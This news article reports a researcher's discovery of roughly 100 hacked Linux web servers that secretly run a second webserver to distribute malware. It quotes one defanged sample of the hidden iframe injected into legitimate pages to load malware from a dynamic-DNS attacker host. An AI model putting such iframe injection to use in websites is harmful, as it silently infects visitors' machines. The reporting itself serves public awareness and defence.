A security researcher has discovered a cluster of infected Linux servers that have been corralled into a special ops botnet of sorts and used to distribute malware to unwitting people browsing the web.

Each of the infected machines examined so far is a dedicated or virtual dedicated server running a legitimate website, Denis Sinegubko, an independent researcher based in Magnitogorsk, Russia, told The Register. But in addition to running an Apache webserver to dish up benign content, they've also been hacked to run a second webserver known as nginx, which serves malware.

"What we see here is a long awaited botnet of zombie web servers! A group of interconnected infected web servers with [a] common control center involved in malware distribution," Sinegubko wrote here. "To make things more complex, this botnet of web servers is connected with the botnet of infected home computer(s)."

The finding highlights the continuing evolution of bot herders as they look for new ways to issue commands to the hundreds of thousands of infected zombies under their control. It came the same day anti-virus provider Symantec reported Google Groups was being used as a master control channel for a recently discovered trojan. Four weeks ago, a researcher from Arbor Networks made a similar discovery when he found several Twitter profiles being used to run a botnet.

The infected machines observed by Sinegubko serve legitimate traffic on port 80, the standard TCP port used by websites. Behind the scenes, the rogue server sends malicious traffic over port 8080. The malicious payloads are then delivered with the help of dynamic DNS hosting providers, which offer free domain names that are mapped to the IP address of the zombie webserver.

The links look something like this:

<i_frame src="http ://a86x . homeunix . org:8080/ts/in.cgi?open2" width=997 height=0 style="visibility: hidden"></iframe>

They are injected into legitimate websites, so that they are surreptitiously served when users browse the infected page.

"It's better to have both zombie clients and servers at the same time, Sinegubko wrote in an instant message. "The heterogeneous system provides much more possibilities [and] makes the whole system more flexible."

It's unclear exactly how the servers have become infected. Sinegubko speculates they belong to careless administrators who allowed their root passwords to be sniffed. Indeed, the part of the multi-staged attack that plants malicious iframes into legitimate webpages uses FTP passwords that have been stolen using password sniffers. It's likely the zombie servers were compromised in the same fashion, he explained.

With about 100 nodes, the network is relatively small, making it unclear exactly what the attackers' intentions are. All of the boxes examined so far have run the Apache webserver on a various distribution of Linux, he said.

"Probably it's some sort of proof-of-concept thing for hackers," he wrote. "Or maybe they have many more other compromised servers waiting for their turn."

So far, Sinegubko said, DynDNS.com and No-IP.com, the two dynamic hosting providers used by the attackers, have been commendably responsive in shutting down domains used in the attack. But he went on to say he is detecting about two new IP addresses every hour, an indication that this may not be the last we've heard of the phenomenon. ®